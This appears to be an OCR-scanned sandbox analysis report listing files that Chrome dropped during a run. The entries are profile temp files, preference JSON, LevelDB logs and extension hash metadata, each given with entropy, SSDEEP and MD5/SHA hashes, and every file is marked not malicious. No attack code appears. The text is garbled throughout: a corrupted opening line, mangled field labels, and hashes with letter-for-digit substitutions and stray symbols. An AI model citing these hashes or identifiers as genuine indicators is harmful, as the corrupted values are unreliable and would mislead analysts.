E306B54CA746D8F634124E4E7AODE91DB97906A7B323BB635FB42CA4E71DF019848D11A30AF066826FOACEAS76CCCBF3F1DE7EL4EF3C14F9A7B42B20DC4CL(
49

false

.gro.o.v.eex.dll..Micros.oft .Office. .2.0.1.6..*.Micr.oso.ft .O.neD.rive. for. B.us.ines.s. Exte.ns.ions...16..0..471.1..10
.C..\P.R.O.G.RA~1\M.I.C.R.O.S.~.1\0Offic.el.6\.G.R.0O.0.V.EE.X..D.L.L....M.i.cro.s.o.ft. .C.o.rp.oratio.n..\8.D..C.:\P.r.o.gram. .F.iles\C.o
.m.m.o.n. .F.iles\M..c.r.os.0ft .Shared\O.F.FICE.1l6\ms.0shext.dl.@...U/..%.comm.o.np.ro.gramfiles.%.\m.ic.ro.s.o.ft .share.d\o.f
ficel6.\...msoshext.dll..M.icros.oft O.ffice.)..Micros.o.ft Office. .Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1...D..C
2\P.ro.gram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\73d09818-57a5-438f-8a8e-c6383c4f60d1.tmp

Process:

File Type:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

398794

6.026230420381734

false

12288:Uysh3XSJShixzurRDn9nfNxF4ijZVtilBW:rshnAUOORzxxPjjt8W
8EB3486234C75F01228AEA7EBFD42942
D16F6EDD114C762AA2589E5D68E9AE182044008A
A5539991CF920BAC87640F7A0F16AC13C2CD96B5F963113BD109140EA84C3916
177463248FF17E56C3B6EC457F6A1882C9741B22EESDEEBD3DE48975AC705243E6BF1A3232F1B001893D7F76E9D305C7F1B6933575AA05BB8FICCE712485F891
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"os_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY 4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]BYxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMFiIGKWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNXMAAAAK+RpovfP6 INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBI9KtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJG9lsuMexxChB4M8HFpyb0Bpréaxpi+zmMIXt76noTOxFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469086205"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\93a87c37-dabb-4a44-9725-8440a87438e2.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

395228

6.014489532788144

false

12288:rsh3XSJShixzurRDn9nfNxF4ijZVtilBW:rshnAUOORzxxPjjt8W
9CFC907612834A52142D0B5C21E713E4
412EE5A2FD771612375A9D109175FBB1FF1D6FBC
D75DDC59CB37ADA3215B9A7B78B22D558343482D2237F847C860AD3D66ESED12
E74E392F1357BC38C4C4F8D12161B848815A1F58424B8993D36B4E23545E80A32B0011E95FAB5C35568C485D6FA6119FF7EC867B956CE3CB5410809E2DBDB34¢
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version:"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local*:1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"0s_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]ByxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMFiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNXMAAAAK+RpovfPE INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBIKtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJIG9lsuMexxChB4AM8HFpybOBpréaxpi+zmMIXt76noTOXFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469086205"},"policy":{"last_statistics_update":"13296952567194

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

40

3.3041625260016576

false

3:FkXYDu6cR9n:+Y66CR9

7A9D405E9218ED86C7ED3BB729DAA896
E5BB69E833231B755B20E5A0C9B2392D8B923C66
D83D002DFE4F96C43A6FBF24FC7AA739945731ABDEC2AFB53EDDCE2D2D87D6AF

F34290BF6A4B1AAG3F47436C0788FC1DAC7B970A1861EF1D1891826FD3DFDOFD484A900E23A3024C19CA93DE842BF8B5BC7ASE159362A4C3A36AE8D47C8551,
7

false
low

SAPC..oooorvveee 8..2E.".N_.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\00257fe9-f175-4fbc-bad9-4d33f3f4a81f.tmp

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with no line terminators

dropped

202
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

5.378815230296851

false

6:YAQNCU8TPIRSHIR8WXWIMUUANIMp5IdVDc2SQ:YD8DIRAII+UANI2dRCZQ
2A7B3A31CB6AA445470028DBF8343CE5
89341C7D34D26D5DD4AB040898C328062DA2BA58
21B3273ED7F8F3D4426C388F7FB10876 CEAESBAAE27DE45D370F94CB9C1D69DCD

821C8403B1C61D4A9C3ABC36EE64508B2D6C3E63BD2146B41E971125786DC21FE21A05180A62C232DE831E0CCACFFBD067242AD0A07574F730E5D9093FC7BA
3

false
low

{"expect_ct":[],"sts":[{"expiry":1684014991.632374,"host":"M4bfUnCmQAi4PNb3B8al/2+SVIhHKsMfMMT7{zi6ij4=","mode":"force-https","sts_include_subdomains"
‘true,"sts_observed":1652478991.63238}],"version":2}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\067b4d5a-c9ab-43d2-bb27-72ac2750aac3.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5114

4.970484545278468

false

96:nBrGfn1pSKIflk0JCKL8Ck611ELOTQVuUwn:nBrm1pSZC4K3k6+
41DABA13906B926721D61E40294AFED6
15A038E8E1692BE5711168B094A303FC5E09ED04
93E33A66062027A8EB8B2372401C7771CCEE75D2A5F4140DB0D42A6911FOFACO

DB720FF868FCF2DB712A5C771F39D293EDC1FD90462C887DFF677A92D1EEB9363FE01B2E965B449CF87AFE78B77A5B8808EEDB16A61A16985C6CEC2D8F110:
D6

false
low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete”:{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group™:"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":[*0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"o","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length*:[*0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0f05e52a-d48f-4145-9b4f-a5d167f0c9e5.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

17703

5.577477076516089

false
384:bw6tILI21XZ1kXgKF/pUZNCgVLH2HD7rUD+6x4j:KLIGZ1kXqKH/pUZNCgVLH2HXrUjxU
93FF3090E883B4816ADF3B6294147CB6
31C7DA144D0OC9D9CAB3164C45E101AA93E15D825
10DCDD4909249BEABEAC5FC791408DC2B3E9C926B075B7469AD062325BA29127
8207CA33DC734A6646B7B608D403CD275A05EFBC7632E26422D121826948D40C265124D5A04E973AABF5AB8D07A931921B1CAOEGS9EF7B72AEC85FE78B4606F
false

low

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xIsh:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™:{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296952567541749","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\13ba9a74-29a0-4d61-8e57-b95d96027438.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

5219

4.980349627134532
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Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

false

96:nBroL.n1pSKIKIkOJCKL8Ck611rbOTQVuwn:nBrk1pSOC4K3k6P
DDBF302FC1CFAAA9E07133D67CFC2792
C201EC602739BEDE62932E1115D381E7F5F91EOE
CC7F4C669ECED16DC76020719ECBAB0C72B32AAEB40D483561F9EOBECIFCC5B0

CB0EA65CD95C4696A24ADES93F22712E96FF98879A019F48E9974BAASA5BE6DC699383CDC5476A8B74FF545D8EA3F3838FD081108F2CFDB4COEEA4FO0DB22E
A6

false
low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofi orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction™:{"daily_original_length":[*0","0","0","0","0","0","0","0","0","0 ,'o","o","0","0","0","0","0","0","0","0","0","0" "0","0","0"
,"o","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0’

',"0","1538886"],"daily_received_length™:["0",

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\1825fd71-4ee7-4bb6-a902-ffd87733bf5e.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5219

4.980349627134532

false

96:nBroLn1pSKIKIkOJCKLBCk611rbOTQVuwn:nBrk1pSOC4K3k6P
DDBF302FC1CFAAAQE07133D67CFC2792
C201EC602739BEDE62932E1115D381E7F5F91EOE
CC7F4C669ECED16DC76020719ECBAG0C72B32AAEB40D483561F9EOBECIFCC5B0

CB0EA65CD95C4696A24ADES93F22712E96FF98879A019F48E9974BAASA5BEGDC699383CDC5476A8B74FF545D8EA3F3838FD081108F2CFDB4COEEA4FO0DB22E
A6

false
low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete”:{"retention_policy_last_version":85},"autofill":{*orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group™:"*","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":[*0","0","0","0","0","0","0","0","0","0 ,'o","o","0","0","0","0","0","0","0","0","0","0","0" ‘0"
,"0","0 i "o, "0" ","0","0","0","0","0","0","0" ',"0","1538886"],"daily_received_length™["0

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3bd94555-55c6-4cb5-9e64-1463bec2df64.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4075

4.906813698167098

false
96:JOXDH+zMr9oBxyXG8szi8XxY5rKIBGZFUKTCj0GcS6rz5E11Ez04/hETAEVD:JOXDH+zMr9oBxyXG8szi8XxY5rKI8gFg
90FB31C19989D56B545C947FD3ACFAA9

FOF309DOEOE9FEFF66EA27C771C1E0446E63BE7B
11E392A371DCADAD3CA1726568310209D41A371B96F2A9B45F2AB98F7A574770
244CDD5F8BE17B08E28B5B26108744D056D92A5AFCE72C8445E19216E09AB3B1807B50E9108446CA02B9C618D90D1FIA81B624FDADA45E527246D372422CBC4
false

low

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_s
pdy":true} {"isolation™:[],"server":"https://ogs.google.com"”,"supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"isolation":[],"server":"https://dns.google","supports_spdy":true} {"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{
"advertised_versions":[50],"expiration":"13299544571310072","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvtl.com"} {"alternative_service":
[{"advertised_versions":[50],"expiration":"13299544571332829","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[50],"expiration":"13299544571524904","port":443,"protocol_str":"quic"},{"advertised_ve

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6f3649de-6alb-47da-8273-bb263ff4b95f.tmp

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

5128
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

4.972755451909856

false

96:nBrocn1pSKI9Ik0JCKLBCk611ELOTQVuwn:nBrP1pShC4K3k6+
89C857BD64DEC8A4825313CA9BF163C7
DB11EF48FFDF94511DA8ABDD3C913581268CC9BD
821E137A41214D8900AC632E595452900D2415CCB1COFCE1A8346A264823969C

A17B11D6E4A62AB00A78F68B5F1D4469DB166B579055B6F4218C88B3D0598B53D6E89FC37B2BCED728AD6A39CCEG740E66801B788F9439B279D98E2CEFDOB1
1

false
low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":[*0","0","0","0","0","0","0","0","0","0 ,'o","o","0","0","0","0","0","0","0","0","0","0","0"
,"o","0","0","0","0","0 "o","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length™["0

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9370c809-8262-4f80-86e4-e4dd9fbd1c26.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

17702

5.5775713579318476

false
384:bw6t1LI21XZ1kXqKfpUZNCgVLH2HfD7rUD36x4B:HLIgZ1kXgKf/pUZNCgVLH2HfXrU+xa
054FBF5E7C6639CD7A1893D321885803
07C3FD23C3950FFC31776723932354DC38BABA92
E45A6395270A130A7697FA5C711ED2C104D739178D840803A1A64DEO6ED40092
CCF18268F2111753384E7426B4AA8426A2899182E16CIF431AFE12424E4665369B9F8COB8C1E65B1D561AFFIF831B5282385A970EEC7EFDBBBAFC6F359633F5F
false

low

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xIs:xIsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
turtf:pub:vsd:mpp:mdb:dot:dotm:xIsb:xIl:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™:{"active_permissions":{"api*:["'management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296952567541749","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

11217

6.069602775336632

false

192:GbylInITwGB7V9HNne4qasKxXItmLG48gcLg/Pkl:Gb+nldByaFx4toj8VEPT
90F880064A42B29CCFF51FE5425BF1A3
6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
965203D541E442C107DBC6D5B395168123D0397559774BEAE4ESBOABC44EF268
DI9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DAOES9A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F
false

low

{"file_hashes":[{"block_hashes":["A+1PYW3V6CJIbBuQ7aqrgYhyH3bT8PKyBXp3hN2sIpl0=","WSOpQRKY THjPSIG9Zif2a7TNhy43NDcG1Zg5NvOUbHO=","iDctR8IMG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRViaY=","LPxhhJiuUO0lprt0T6flpS7TkaDg7MocrbmzO65xHERI=","nZ9zLb2By96 AKKXALRM+COEu11XUjPIMXEK|iCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RIA=","dHjWISIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JgEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLNOCFL/ADaEeTI=","
DpjXcO85FFFY9KJIFPKGNfFUtdQIOsGwO5jUckiUwY 14=","gqid6l1+mk/6yWgUECROofI9IMipXgXh2jEN2+CxmPEO0=","prDB91X2Mmfg/M/txVMITWBMEGbOGjgBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO11Jdn/UtbnAmg6T0=","+0Oc6ca+ChKUpTu+oa2ZRxRE+
wG3QJImuYWEVYCs40NI=","3mBGNAIRITANEQkgzU3TEi+5wJOubR5uwtS4/900M7w=","1A9NNawxuhu95H5e ThvflrewJ4QQWhhPNxJXO1C/n68=","E3v\W
LQxzmj+e5QxYbUscllI5n0ITpw5IBHV1Kph3/KM=","i3I18ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSILPhrtuOhGYrHn3llsMHqBbi70gkljEE=","rh|
ZUEvwW2KRAFMms896xFwWkNgPrw6WvmgPn6éxrBSa2Y=","LAMXv6sRbOVZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

38

1.8784775129881184

false

3:FQXIXNQxIX:qTCT

51A2CBB807F5085530DEC18E45CB8569
7AD88CD3DE5844C7FC269C4500228A630016AB5B
1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
B643A8FA75EDA90C89ABI8F79D4D022BB81F1F62F50ED4ES440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DI
false

low

d MSbreocososomonoos f5ii

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

371

5.300100921547153

false
6:AH4BNS+q2P923iKKdK25+Xgx8chl+IFUtqVfH4BcYZmwYVfH493VkwO923iKKdKI:AH4c+v45KKTXfchI3FUtIHAJ/IH493Vi
3C1DE3DCAD53A4CB090C7728384B1C01

C7EB73227C6F67D2C0A14FD68C54664543B20552
43ATES5CE7FFA1E3D8A35D24FAA3DC73C7B2E7F23FEA5414316ACFABESE924DB4

EF9F05B6E34E2C66F1E53961DF435BFF3DF1EB6C1DF7CCC4A7DADS2CBFB49AES8FC2B25416CB86A5CDC1C06CFOSACO2E07A7AO06F1BBF6A4818CBB7BOFAA
D1F2C

false
low

2022/05/13-14:56:15.978 b2c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MAN
IFEST-000001.2022/05/13-14:56:15.979 b2c Recovering log #3.2022/05/13-14:56:15.980 b2c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

371

5.300100921547153

false

6:AH4BNS+q2P923iKKdK25+Xgx8chl+IFUtqVfH4BcYZmwY VfH493VkwO923iKKdKI:AH4c+v45KKT XfchI3FUtIHAJ/IH493Vi
3C1DE3DCADS53A4CB090C7728384B1C01

C7EB73227C6F67D2C0A14FD68C54664543B20552
43A7TESCE7FFALE3D8A35D24FAA3DC73C7B2E7F23FEA5414316ACFABESES24DB4

EF9F05B6E34E2C66F1E53961DF435BFF3DF1EB6C1DF7CCC4A7DADS2CBFB49AES8FC2B25416CB86ASCDC1C06CFOSACO2E07A7A06F1BBF6A4818CBB7BIFAA
D1F2C

false
low

2022/05/13-14:56:15.978 b2c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MAN
IFEST-000001.2022/05/13-14:56:15.979 b2c Recovering log #3.2022/05/13-14:56:15.980 b2c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
data

dropped

928

5.391457487791241

false
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SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

24:10JaB4mDkJO+mNiL46KYz3Z2BY78BJgskfa9yBDOxo74asjWaogaogaogaofO70y:smDp+mNiFKYVCUp67AAAQ00P
598DDD64AD812F2332C5F21B29C8EA6D

400D434D9541E801FC4D3A70B04FC063327BEC69
AA4T641A39E0CF6273062CAC8BF73C4458321F5404F7EBE2F8738E7008FE845206

5911CB0431C1DES3803489EFBC757F9D41DCDDO0E8A37451B92A3077BE04B1990C2CAF844360AD356B8DC2BB4BE645C2167702ECOD0B170403D3F11E036216¢

false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\ https_www.youtube.com_0.indexeddb.leveldb\000001.dbtmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

16

3.2743974703476995

false

3:1sjgWIV//Uv:1glFUv

46295CAC801E5D4857D09837238A6394
44EQFA1B517DBF802B18FAF0785EEEA6AC51594B
OF1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
false

low

MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\CURRENT (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

16

3.2743974703476995

false

3:1sjgWIV//Uv:1qlFUv

46295CACB01E5D4857D09837238A6394
44EO0FA1B517DBF802B18FAF0785EEEA6AC51594B
OF1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
false

low

MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

23

4.142914673354254

false

3:Fdb+4LI:ZI

3FD11FF447C1EE23538DC4D9724427A3
1335E6F71CC4E3CF7025233523B4760F8893E9C9
720A78803B84CBCC8EB204D5CFSEAGEE2F693BEOAB2124DDF2B81455DE02A3ED
10A3BD3813014EB6F8C2993182E1FA382D745372F8921519E1D25F70D76F08640E84CB8D0B554CCD329A6B4E6DE6872328650FEFA91F98C3COCFC204899EE82¢
false

low
